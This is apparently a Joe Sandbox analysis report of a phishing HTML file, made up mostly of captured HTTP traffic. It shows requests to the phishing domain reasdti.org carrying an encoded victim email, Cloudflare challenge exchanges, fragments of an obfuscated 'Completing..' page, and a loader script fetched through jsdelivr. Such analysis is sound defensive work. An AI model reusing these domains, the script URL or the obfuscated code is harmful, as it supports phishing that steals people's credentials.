CBPutkpjjreM6wCM7$GKlu3K2$RgYHMwq4aYXMymo2AaatxROKFyqZeAP284FfyoADq0uxP6KHHCVjHiWWqy0-3txoZR76gJICP2W1E0uompaA$lolsg2$h07Hg0pAwaamUV3wWpawoUYMDgHCAwCmH4R7jHu1OoS6lUsEoUwHcmRFlCSZm-S77HOPvh8-7-op-hwW4634fKkph2Zoy6G6Wttm7yH8pxzGH434QKmn6eKagaipk6KW70Wh6fOoh
2025-03-21 18:08:05 UTC	8247	OUT	Data Raw: 42 71 6f 59 65 6e 55 64 51 78 4a 2b 66 4a 59 78 75 36 47 56 76 35 2d 53 6e 69 71 6e 6f 78 6f 48 6a 2b 4b 6f 70 34 6d 79 6f 47 6c 35 44 64 78 64 54 33 4a 4c 72 4b 43 43 53 39 6c 32 75 2b 6a 45 33 51 54 61 37 31 4c 75 4f 44 49 32 2b 48 7a 6d 46 4f 72 78 46 70 4a 24 67 34 67 66 6f 34 47 79 34 57 35 44 2b 44 49 36 54 42 2d 43 67 4b 57 71 42 66 69 41 49 59 64 4f 44 6d 54 56 4a 48 42 4f 4f 36 39 50 77 4f 32 46 65 69 2b 77 64 67 2d 6a 49 41 57 32 51 4b 43 78 5a 39 51 74 30 67 58 6e 6f 32 52 4a 65 62 71 75 6f 24 6c 5a 74 6c 50 32 6b 76 4d 59 75 64 71 4a 6f 57 7a 41 32 2b 7a 65 5a 6a 35 38 4a 70 30 53 70 37 41 6f 63 34 54 6a 57 24 53 70 6f 75 43 75 47 79 57 57 73 70 6f 68 66 5a 4b 39 6d 43 53 41 64 6f 79 34 78 6d 56 6f 62 70 36 6a 30 57 66 75 73 45 71 6e 57 37 6f Data Ascii: BqoYenUdQxJ+fJYxu6GVv5-SniqnoxoHj+Kop4myoGl5DdxdT3JLrKCCS9l2u+jE3QTa71LuODI2+HzmFOrxFpJ$g4gfo4Gy4W5D+DI6TB-CgKWqBfiAIYdODmTVJHBOO69PwO2Fei+wdg-jIAW2QKCxZ9Qt0gXno2RJebquo$lZtlP2kvMYudqJoWzA2+zeZj58Jp0Sp7Aoc4TjW$SpouCuGyWWspohfZK9mCSAdoy4xmVobp6j0WfusEqnW7o
2025-03-21 18:08:05 UTC	1288	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:08:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4856 Connection: close cf-chl-out-s: gewru7amp2+oXR0rWqV60M7f97qyBUDW45Pn5lWGD1KoboR887pdW3TwPTfeSDy8FaIuj4S3yfOETZn2zFXa46dA2hEkWv2ZpMlHufur6mZaWow14zFkKIUur1wVyUzkULsnz7iriBBZTxfv6PrC/iL6EvuO+3Eh95Mx+QbhNLeTwiJ9L6qe4DfmchTjY2M6D+oet87w5HXU0XAhXg6ggQOgVeGrtaL9Qg0GIyVG1AptgJ1I0yQ3qra5bYCLGlOfpFglc8puJOgvUSspNVcfkocDwHXFpII+SVBlebe6VS7f6hgaNSg360EK6LuDP/7SYppAQoqg34OU2OUjaAGSdV8XhkuVSq+uswGHE3Zjl4DRDACYvTwlHvp/6VtTxqPUk0tkMCqR5v+XCrkaKt556hmunoaLx2/wPqP5RGH19HE/p6Dx4jNP2nhbJNOUXIc8isCOezrpNvditCqS+sR+KMfU1Nhh7yS9Dc+6GwSuTDGRtrts9h97eGjLXMDCLpCAHGkKJ0j5ZVuPp9RzzUlIIiQQwqopemsFd148nykPNL4wGLP9KsrlLK73GcFHSXwjXOLi0HdrZdHOtQbNi5F348qRtNoYydVY9wt1BtcEb/D/L1Iv7oPHg0WJIMQdxwHnB4tbNZns4aLJu52wLjUbMyIDGmbIgrHpMxwEZZXz5FQjrlMlgr3wIWLyjAaCtaorowsXPwlPy9QAu5JddewbAp98ahV+euPvDT8lqRpgD+YrRa3lnWyNnvwubm6FOgYRbwxOFFMBzfrD+4rQeio2ylQM0WkdfVhGKU5hY6YIObrY6Q/DzTe9/WeY663NeOZz26eh0R/G4JGz+C272LflSyKhzrY9ZcWXkx8PULruJhxFgmRoIgL7OOjkPh9/QgsyQpxUHfULbAowW+GMFrCJNVK7SA3LcMIN+xTgoUcdaSGxqZ01c54fxZv6bpo5UuJe1w+BLJgTsVd8Vpq/sPLhGer6081RTXEKralDNVdXLQx+jc3Grv [TRUNCATED]
2025-03-21 18:08:05 UTC	229	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 34 73 64 77 34 31 6f 61 66 4f 57 75 47 69 77 4b 55 35 6c 61 39 74 35 6a 43 73 45 35 76 50 43 73 75 41 6f 6f 61 61 4e 35 74 5a 37 6c 62 6b 70 49 43 64 33 53 6c 79 7a 41 4b 71 45 62 67 64 34 4a 36 74 59 48 71 2b 4d 66 48 4b 47 39 68 4f 59 56 6c 6e 42 43 4f 4e 75 51 6c 6d 4e 32 59 48 39 58 4a 2b 63 6d 46 42 6f 53 64 33 38 3d 24 74 61 70 2b 61 63 71 4a 4b 73 4f 30 54 50 50 6b 34 54 47 6f 6c 77 3d 3d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 32 33 66 36 34 38 30 39 65 61 34 30 63 39 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: 4sdw41oafOWuGiwKU5la9t5jCsE5vPCsuAooaaN5tZ7lbkpICd3SlyzAKqEbgd4J6tYHq+MfHKG9hOYVlnBCONuQlmN2YH9XJ+cmFBoSd38=$tap+acqJKsO0TPPk4TGolw==Server: cloudflareCF-RAY: 923f64809ea40c94-EWRalt-svc: h3=":443"; ma=86400
2025-03-21 18:08:05 UTC	1221	IN	Data Raw: 76 4c 61 4d 76 62 71 4c 6d 6e 57 62 6f 4a 71 47 6d 5a 69 61 6f 35 69 57 6d 4a 7a 46 6f 73 36 7a 76 73 66 46 73 63 6d 56 70 4c 4f 6c 33 4c 36 77 72 4e 43 5a 72 70 76 62 6f 37 2f 58 31 65 6a 4c 75 64 6e 73 7a 37 2f 77 37 2b 33 44 76 65 44 43 72 2b 2b 7a 30 2b 72 72 31 75 76 4d 41 64 72 64 7a 4c 76 42 34 72 38 41 43 2b 50 2b 31 65 6e 46 33 78 41 49 30 68 54 56 36 4f 6b 4c 36 64 6e 6d 36 2b 66 6d 2b 65 38 4e 39 50 4d 58 39 75 37 33 39 2f 48 36 2f 50 72 32 41 67 6f 67 37 66 77 41 2f 76 34 48 41 2f 4d 35 39 53 51 4a 4c 54 30 4b 43 51 49 56 45 6a 63 57 49 78 63 59 45 6a 6b 58 2f 6a 30 66 49 42 73 62 4d 7a 41 68 54 52 64 55 43 78 46 46 55 52 73 78 48 42 34 34 51 44 55 74 50 69 5a 53 5a 44 45 32 52 6d 31 41 4b 79 6f 75 4f 6a 46 55 54 31 56 45 51 58 4a 79 59 31 5a Data Ascii: vLaMvbqLmnWboJqGmZiao5iWmJzFos6zvsfFscmVpLOl3L6wrNCZrpvbo7/X1ejLudnsz7/w7+3DveDCr++z0+rr1uvMAdrdzLvB4r8AC+P+1enF3xAI0hTV6OkL6dnm6+fm+e8N9PMX9u739/H6/Pr2Agog7fwA/v4HA/M59SQJLT0KCQIVEjcWIxcYEjkX/j0fIBsbMzAhTRdUCxFFURsxHB44QDUtPiZSZDE2Rm1AKyouOjFUT1VEQXJyY1Z
2025-03-21 18:08:05 UTC	1369	IN	Data Raw: 68 51 65 52 79 52 58 4c 6c 4e 63 4a 6b 70 51 50 78 49 58 4c 6b 52 6c 46 30 4a 50 4e 6c 4d 39 62 44 64 6e 4a 44 30 34 61 30 35 42 4a 6a 52 6a 51 30 46 53 61 32 77 37 4d 33 4d 36 53 6b 6c 61 55 6b 46 79 52 45 64 57 67 32 70 58 53 48 70 65 5a 6c 31 5a 63 6c 74 63 58 32 57 55 59 58 4a 55 6a 46 69 4a 63 5a 5a 65 6a 35 4f 59 56 70 4e 75 63 33 68 2f 6e 49 56 38 68 4b 79 41 73 61 43 77 67 33 4f 4f 73 37 68 78 70 35 4b 56 68 4b 79 37 76 34 6d 56 6f 58 6c 32 6e 59 36 64 6c 38 69 70 6f 6f 71 44 71 5a 79 62 68 38 66 50 6b 70 33 45 73 34 37 49 31 36 79 53 32 64 50 67 6e 4d 2f 58 6e 36 4b 74 6f 62 43 31 73 63 6d 64 75 2b 6e 6a 72 36 4c 75 73 62 79 30 37 2b 76 48 72 73 4b 34 75 4c 6a 47 38 38 37 49 37 2b 7a 66 75 74 7a 34 36 4c 6f 4a 44 4d 50 58 44 50 76 65 32 77 2f 4a Data Ascii: hQeRyRXLlNcJkpQPxIXLkRlF0JPNlM9bDdnJD04a05BJjRjQ0FSa2w7M3M6SklaUkFyREdWg2pXSHpeZl1ZcltcX2WUYXJUjFiJcZZej5OYVpNuc3h/nIV8hKyAsaCwg3OOs7hxp5KVhKy7v4mVoXl2nY6dl8ipooqDqZybh8fPkp3Es47I16yS2dPgnM/Xn6KtobC1scmdu+njr6Lusby07+vHrsK4uLjG887I7+zfutz46LoJDMPXDPve2w/J
2025-03-21 18:08:05 UTC	1369	IN	Data Raw: 59 6c 4b 43 68 63 4b 7a 38 61 49 43 45 39 49 45 64 44 53 44 63 31 56 32 4e 41 59 7a 6c 75 59 46 49 39 63 69 39 43 51 55 52 45 65 45 64 62 4e 6a 51 39 57 55 42 2b 62 31 4a 67 5a 30 42 37 57 31 52 34 56 32 52 69 5a 56 42 38 62 34 74 4f 62 4a 61 4e 6c 59 70 51 6d 49 68 63 69 58 4b 56 6b 4a 52 63 6a 35 79 41 6c 5a 32 6e 71 49 42 71 71 6e 6d 51 6d 4b 79 7a 63 71 79 49 63 57 31 32 72 72 65 4b 6c 6e 6c 39 6e 35 61 69 69 36 43 31 74 6f 4e 39 74 4c 36 69 78 4d 79 72 67 4d 75 6d 7a 37 36 6d 79 70 37 45 6b 35 61 74 79 36 33 54 78 71 69 52 74 71 7a 63 6f 72 54 57 75 70 2b 2b 36 73 72 69 77 4f 4c 6b 71 73 66 79 30 72 48 4b 39 73 61 33 7a 63 54 4e 36 2b 37 6e 79 4d 6d 36 75 73 44 42 33 63 51 44 39 74 62 55 2b 63 54 2b 33 39 6a 76 32 74 6e 52 35 74 41 46 41 65 33 59 34 Data Ascii: YlKChcKz8aICE9IEdDSDc1V2NAYzluYFI9ci9CQUREeEdbNjQ9WUB+b1JgZ0B7W1R4V2RiZVB8b4tObJaNlYpQmIhciXKVkJRcj5yAlZ2nqIBqqnmQmKyzcqyIcW12rreKlnl9n5aii6C1toN9tL6ixMyrgMumz76myp7Ek5aty63TxqiRtqzcorTWup++6sriwOLkqsfy0rHK9sa3zcTN6+7nyMm6usDB3cQD9tbU+cT+39jv2tnR5tAFAe3Y4
2025-03-21 18:08:05 UTC	897	IN	Data Raw: 4e 49 54 4d 74 56 47 64 6d 4d 56 63 31 4e 53 63 73 4c 56 77 75 63 43 31 62 51 47 4a 6f 59 44 68 43 54 6d 68 47 55 31 35 64 54 6d 39 41 50 6f 52 76 65 7a 31 51 65 47 56 2f 58 47 56 61 57 46 70 37 5a 55 35 68 68 48 46 69 5a 33 42 70 69 35 75 63 6d 48 78 65 6b 4a 79 4c 63 4a 4f 55 6c 47 61 41 69 70 57 73 68 49 71 4a 65 62 43 72 62 6e 46 39 70 33 5a 33 70 61 75 74 69 61 6d 64 64 72 2b 5a 6b 62 58 43 77 37 76 48 69 4c 61 34 74 34 72 4d 6d 71 2b 64 71 59 69 4d 6e 64 4b 51 6c 59 37 56 73 72 4b 63 32 62 71 6f 72 39 32 79 73 72 53 37 32 35 6d 7a 6e 2b 76 73 75 4e 6e 4b 75 61 76 66 75 73 4c 43 33 39 48 33 74 2b 6a 37 73 72 76 57 30 65 2b 2f 32 72 7a 7a 41 77 4c 37 77 4d 51 4a 31 75 7a 58 43 39 72 6d 7a 41 34 42 41 2b 44 48 46 65 33 6b 32 41 54 5a 35 39 50 74 33 2b Data Ascii: NITMtVGdmMVc1NScsLVwucC1bQGJoYDhCTmhGU15dTm9APoRvez1QeGV/XGVaWFp7ZU5hhHFiZ3Bpi5ucmHxekJyLcJOUlGaAipWshIqJebCrbnF9p3Z3pautiamddr+ZkbXCw7vHiLa4t4rMmq+dqYiMndKQlY7VsrKc2bqor92ysrS725mzn+vsuNnKuavfusLC39H3t+j7srvW0e+/2rzzAwL7wMQJ1uzXC9rmzA4BA+DHFe3k2ATZ59Pt3+

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:05 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:08:06 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 21 Mar 2025 18:08:05 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: aA7joZBoDDMDxjdUvfUteicJko6gb0119ldK2R1BDsJ5jcJ4qts1COlMyB9V0x84e5bfgaL95cU8LGqEhZFj/Q==$Ov5VPeaxih3eBCgJve35Aw== Server: cloudflare CF-RAY: 923f64851ed3efa7-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:08:06 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:06 UTC	1712	OUT	GET /?cf-turnstile-response=0.InkHdckrmd1dBi_qntIESJkuFiVQQEx_YV-OueAcyRPOhQlUvgUI_Y4DftoT9GFTDdS5AUw3StOwFqxtVWe9YRw-uNrvUFv_SWQp_mgrH7yVkY8-6MB8o4DuU5yfysVQAtKcOgsFgcp79lCK-ewlhm7YM5epcamevhpWfzmfkAfA-kQ3EBtiO7vvCfAxb2ibv4_6H18uJL36uldKe-lF8b_OJxSSm0sxZUKH-VLzBw2j0buZlkA9yh8JTttMCoVAhkTfI-uxgFMawBMTxbsCOyqOpBpGGc67-DrBcLZb8Vmb5Dy81u6qL07vcTDBCswpRINm1wVExgqKKjXvnTVURYsPMKwkRekOr9osZlD-weulEw6HBKyhf8XG6xBY_sgIl2IRDQrB_yJgvIiRNMHJA23OiMWb0upgOBbLoFxp0yNthBA01Tam6FEK_telicbC7JkaeVwIB-YGSZsW3YSmdg355MUCs-FqBICw9-ScPz_KKKu517f_hP0_1YoaryFqcelqhWav_Ubqhaaa4TRSmM1fuU4X-tbbVRj3leEzyjFsYFl9anhb6NR71eTKrVH-wi7NXsqoZqK5T8hXimzBlGdhsQamyC22HugQjJJr5Cag4oZU0lfYlmesh_Ao3FepmCSsOZSWfVG6JW4rEFCiXzcfxAqNLIWxAVJiUpkRIxODzVuUKpb7EEoGZeUZnU5RAPzbyZxQSjd_yd1LxZNethAV98dUsP80o_4b0SCtJeakEb-n0nBzg3GQKDUsKC5xGmShakT7Q715FicABX4uqmG84-5fi9nYqxItTVZgtnHDNvZFZmGK22QcLBqHMyIjf3UX9aW2scoi_xioENEIbQ.mELfaTvVRmNy9VpvbgqH5Q.8e5844d20e52a6d4b10acb1595c6eb6181a425781388cadc4300a66413173e55 HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
2025-03-21 18:08:07 UTC	434	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:08:06 GMT Server: Apache/2.4.62 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-21 18:08:07 UTC	7758	IN	Data Raw: 32 38 33 32 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 26 23 36 37 3b 26 23 31 31 31 3b 26 23 31 30 39 3b 26 23 31 31 32 3b 26 23 31 30 38 3b 26 23 31 30 31 3b 26 23 31 31 36 3b 26 23 31 30 35 3b 26 23 31 31 30 3b 26 23 31 30 33 3b 26 23 34 36 3b 26 23 34 36 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 Data Ascii: 2832<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Completing..</title>
2025-03-21 18:08:07 UTC	2538	IN	Data Raw: 62 6c 65 27 2c 27 65 78 63 65 70 74 69 6f 6e 27 2c 27 5f 5f 70 72 6f 74 6f 5f 5f 27 2c 27 5c 78 35 63 2b 5c 78 35 63 2b 5c 78 32 30 2a 28 3f 3a 5b 61 2d 7a 41 2d 5a 5f 24 5d 5b 30 2d 39 61 2d 7a 41 2d 5a 5f 24 5d 2a 29 27 2c 27 39 34 35 32 33 34 77 42 73 6e 64 4a 27 2c 27 63 6f 75 6e 74 65 72 27 2c 27 68 61 73 68 27 2c 27 69 6e 69 74 27 2c 27 64 65 62 75 27 2c 27 31 35 35 30 37 38 69 72 46 4e 49 72 27 2c 27 38 42 41 69 68 53 44 27 2c 27 39 35 32 30 35 32 68 58 58 43 72 4d 27 2c 27 31 31 32 34 37 38 35 39 62 61 51 63 58 55 27 2c 27 34 51 70 51 65 4e 53 27 2c 27 35 30 36 35 31 30 34 6a 4b 49 68 45 6d 27 2c 27 65 72 72 6f 72 27 2c 27 61 70 70 6c 79 27 2c 27 6c 6f 67 27 2c 27 63 6f 6e 73 6f 6c 65 27 5d 3b 5f 30 78 35 63 63 61 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: ble','exception','__proto__','\x5c+\x5c+\x20(?:[a-zA-Z_$][0-9a-zA-Z_$])','945234wBsndJ','counter','hash','init','debu','155078irFNIr','8BAihSD','952052hXXCrM','11247859baQcXU','4QpQeNS','5065104jKIhEm','error','apply','log','console'];_0x5cca=function()
2025-03-21 18:08:07 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:08:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Paradigm-corp00990__098.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Windows Analysis Report
Paradigm-corp00990__098.html

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:09 UTC	1897	OUT	GET /5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/index?a=YmVja3liQHBhcmFkaWdtLWNvcnAuY29t HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://reasdti.org/?cf-turnstile-response=0.InkHdckrmd1dBi_qntIESJkuFiVQQEx_YV-OueAcyRPOhQlUvgUI_Y4DftoT9GFTDdS5AUw3StOwFqxtVWe9YRw-uNrvUFv_SWQp_mgrH7yVkY8-6MB8o4DuU5yfysVQAtKcOgsFgcp79lCK-ewlhm7YM5epcamevhpWfzmfkAfA-kQ3EBtiO7vvCfAxb2ibv4_6H18uJL36uldKe-lF8b_OJxSSm0sxZUKH-VLzBw2j0buZlkA9yh8JTttMCoVAhkTfI-uxgFMawBMTxbsCOyqOpBpGGc67-DrBcLZb8Vmb5Dy81u6qL07vcTDBCswpRINm1wVExgqKKjXvnTVURYsPMKwkRekOr9osZlD-weulEw6HBKyhf8XG6xBY_sgIl2IRDQrB_yJgvIiRNMHJA23OiMWb0upgOBbLoFxp0yNthBA01Tam6FEK_telicbC7JkaeVwIB-YGSZsW3YSmdg355MUCs-FqBICw9-ScPz_KKKu517f_hP0_1YoaryFqcelqhWav_Ubqhaaa4TRSmM1fuU4X-tbbVRj3leEzyjFsYFl9anhb6NR71eTKrVH-wi7NXsqoZqK5T8hXimzBlGdhsQamyC22HugQjJJr5Cag4oZU0lfYlmesh_Ao3FepmCSsOZSWfVG6JW4rEFCiXzcfxAqNLIWxAVJiUpkRIxODzVuUKpb7EEoGZeUZnU5RAPzbyZxQSjd_yd1LxZNethAV98dUsP80o_4b0SCtJeakEb-n0nBzg3GQKDUsKC5xGmShakT7Q715FicABX4uqmG84-5fi9nYqxItTVZgtnHDNvZFZmGK22QcLBqHMyIjf3UX9aW2scoi_xioENEIbQ.mELfaTvVRmNy9VpvbgqH5Q.8e5844d20e52a6d4b10acb1595c6eb6181a425781388cadc4300a66413173e55 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
2025-03-21 18:08:10 UTC	428	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:08:09 GMT Server: Apache/2.4.62 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Content-Length: 6172 Connection: close Content-Type: text/html; charset=UTF-8
2025-03-21 18:08:10 UTC	6172	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 3c 74 69 74 6c 65 3e 26 23 36 37 3b 26 23 31 31 31 3b 26 23 31 30 39 3b 26 23 31 31 32 3b 26 23 31 30 38 3b 26 23 31 30 31 3b 26 23 31 31 36 3b 26 23 31 30 35 3b 26 23 31 31 30 3b 26 23 31 30 33 3b 26 23 34 36 3b 26 23 34 36 3b 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 2e 64 65 6c 69 76 65 72 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <html lang="en"><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Completing..</title><style>body.delivered{display:none}body{font-family:Arial,sans-se

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:13 UTC	588	OUT	GET /gh/syntaxerror019/HTML-STO/ld.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:08:13 UTC	748	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2805 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: master X-JSD-Version-Type: branch ETag: W/"af5-IuZCjziTq18nLEpNfGlMwPnGfiA" Accept-Ranges: bytes Age: 41166 Date: Fri, 21 Mar 2025 18:08:13 GMT X-Served-By: cache-fra-eddf8230137-FRA, cache-lga21972-LGA X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-21 18:08:13 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 30 36 62 28 5f 30 78 35 32 64 31 33 35 2c 5f 30 78 32 61 62 62 36 30 29 7b 63 6f 6e 73 74 20 5f 30 78 32 39 36 34 31 39 3d 5f 30 78 32 39 36 34 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 30 36 62 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 30 36 62 34 66 2c 5f 30 78 63 31 64 37 62 65 29 7b 5f 30 78 35 30 36 62 34 66 3d 5f 30 78 35 30 36 62 34 66 2d 30 78 63 35 3b 6c 65 74 20 5f 30 78 32 64 34 32 34 66 3d 5f 30 78 32 39 36 34 31 39 5b 5f 30 78 35 30 36 62 34 66 5d 3b 72 65 74 75 72 6e 20 5f 30 78 32 64 34 32 34 66 3b 7d 2c 5f 30 78 35 30 36 62 28 5f 30 78 35 32 64 31 33 35 2c 5f 30 78 32 61 62 62 36 30 29 3b 7d 63 6f 6e 73 74 20 5f 30 78 32 64 37 39 64 62 3d 5f 30 78 35 30 36 62 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 Data Ascii: function 